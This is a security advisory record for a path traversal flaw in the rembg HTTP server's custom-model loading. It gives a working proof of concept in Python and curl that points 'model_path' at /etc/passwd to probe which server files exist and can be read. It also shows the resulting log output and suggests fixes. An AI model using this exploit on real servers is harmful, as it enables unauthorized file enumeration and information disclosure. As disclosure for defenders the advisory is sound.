{"id":"CVE-2026-40086","aliases":["GHSA-3wqj-33cg-xc48","PYSEC-2026-2274"],"url":"https://o3.security/vulnerability/CVE-2026-40086","summary":"Rembg has a Path Traversal via Custom Model Loading","details":"## Summary\n\nA **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.\n\n**CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)\n\n---\n\n## Details\n\n### Vulnerable Code Flow\n\nThe vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`).\n\n**1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202)\n\n```python\ndef im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:\n    kwargs = {}\n    if commons.extras:\n        try:\n            kwargs.update(json.loads(commons.extras))  # ❌ No validation\n        except Exception:\n            pass\n    # ...\n    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs\n```\n\nThe `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation.\n\n**2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83)\n\n```python\n@classmethod\ndef download_models(cls, *args, **kwargs):\n    model_path = kwargs.get(\"model_path\")\n    if model_path is None:\n        raise ValueError(\"model_path is required\")\n    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation\n```\n\nThe `model_path` is returned with tilde expansion but no validation against path traversal.\n\n**3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38)\n\n```python\nself.inner_session = ort.InferenceSession(\n    str(self.__class__.download_models(*args, **kwargs)),  # Reads file\n    # ...\n)\n```\n\nThe path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file.\n\n### Root Cause\n\nThe custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Python 3.10+\n- rembg installed with CLI support: `pip install \"rembg[cpu,cli]\"`\n\n### Step 1: Start the Vulnerable Server\n\nOpen a terminal and run:\n\n```bash\nrembg s --host 0.0.0.0 --port 7000\n```\n\nYou should see output like:\n```\nTo access the API documentation, go to http://localhost:7000/api\nTo access the UI, go to http://localhost:7000\n```\n\n### Step 2: Send the Exploit Request\n\nOpen a **second terminal** and run this Python script:\n\n```python\nimport requests\nimport json\nimport urllib.parse\nfrom io import BytesIO\n\n# Minimal valid 1x1 PNG image (required for the request)\nMINIMAL_PNG = bytes([\n    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,\n    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\n    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,\n    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,\n    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,\n    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,\n    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,\n    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,\n    0x44, 0xAE, 0x42, 0x60, 0x82\n])\n\n# Target paths to test\ntest_paths = [\n    \"/etc/passwd\",           # System file (should exist)\n    \"/nonexistent/file.txt\", # Non-existent file\n]\n\nfor path in test_paths:\n    print(f\"\\n[*] Testing path: {path}\")\n    \n    # Build request - extras must be in URL query string\n    extras = json.dumps({\"model_path\": path})\n    url = f\"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}\"\n    \n    response = requests.post(\n        url,\n        files={\"file\": (\"test.png\", BytesIO(MINIMAL_PNG), \"image/png\")},\n        data={\"model\": \"u2net_custom\"},\n        timeout=30\n    )\n    \n    print(f\"    Status: {response.status_code}\")\n    print(f\"    Response: {response.text[:100]}\")\n```\n\nOr use **curl** directly:\n\n```bash\n# Create a minimal PNG file\npython3 -c \"import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))\" > /tmp/test.png\n\n# Send exploit request targeting /etc/passwd\ncurl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \\\n  -F \"model=u2net_custom\" \\\n  -F \"file=@/tmp/test.png\"\n```\n\n### Step 3: Verify in Server Logs\n\nGo back to the **first terminal** where the server is running. You will see error messages like:\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: \n[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.\n```\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: \n[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist\n```\n\n### Understanding the Results\n\n| Server Log Message | What It Proves |\n|-------------------|----------------|\n| `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime |\n| `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission |\n| `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration |\n\n**The key proof:** The message `\"Load model from /etc/passwd failed:Protobuf parsing failed\"` proves that:\n1. The attacker-controlled path was passed through without validation\n2. `onnxruntime.InferenceSession()` attempted to **read the file contents**\n3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All users** running `rembg s` (HTTP server mode)\n- **Cloud deployments** where rembg is exposed as an API service\n- **Docker containers** running rembg server\n\n### Attack Scenarios\n\n1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files)\n2. **Credential Discovery**: Attacker checks for common credential files\n3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration\n4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory\n\n### What is NOT Affected?\n\n- CLI usage (`rembg i`, `rembg p`) - users already have local file access\n- Library usage - developers control the input\n\n---\n\n## Recommended Fix\n\n### Option 1: Disable Custom Models for HTTP API (Recommended)\n\nRemove custom model types from the HTTP API session list:\n\n```python\n# In s_command.py, filter out custom models\nALLOWED_HTTP_MODELS = [\n    name for name in sessions_names \n    if not name.endswith('_custom')\n]\n\n# Use ALLOWED_HTTP_MODELS in the model parameter regex\nmodel: str = Query(\n    regex=r\"(\" + \"|\".join(ALLOWED_HTTP_MODELS) + \")\",\n    default=\"u2net\",\n)\n```\n\n### Option 2: Validate model_path Against Allowlist\n\nIf custom models must be supported via HTTP:\n\n```python\nimport os\n\nALLOWED_MODEL_DIRS = [\n    os.path.expanduser(\"~/.u2net\"),\n    \"/app/models\",  # or your designated model directory\n]\n\ndef validate_model_path(path: str) -> str:\n    \"\"\"Validate model path is within allowed directories.\"\"\"\n    abs_path = os.path.abspath(os.path.expanduser(path))\n    \n    for allowed_dir in ALLOWED_MODEL_DIRS:\n        allowed_abs = os.path.abspath(allowed_dir)\n        if abs_path.startswith(allowed_abs + os.sep):\n            return abs_path\n    \n    raise ValueError(f\"model_path must be within allowed directories\")\n```\n\n### Option 3: Document Security Considerations\n\nAt minimum, add security warnings to the documentation:\n\n```markdown\n⚠️ **Security Warning**: When running `rembg s` in production:\n- Do NOT expose the server directly to the internet\n- Use a reverse proxy with authentication\n- Consider disabling custom model support\n```\n\n---\n\n## References\n\n- **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal)\n\n---","published":"2026-04-10T16:16:28.850Z","modified":"2026-08-12T03:51:29.596622523Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"rembg","fixedVersion":"2.0.75"}],"fix":{"url":"https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273","label":"danielgatis/rembg@7c76d3c"},"references":[{"type":"WEB","url":"https://github.com/danielgatis/rembg/releases/tag/v2.0.75"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40086.json"},{"type":"ADVISORY","url":"https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40086"},{"type":"FIX","url":"https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"},{"type":"PACKAGE","url":"https://github.com/danielgatis/rembg"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.596622523Z"}}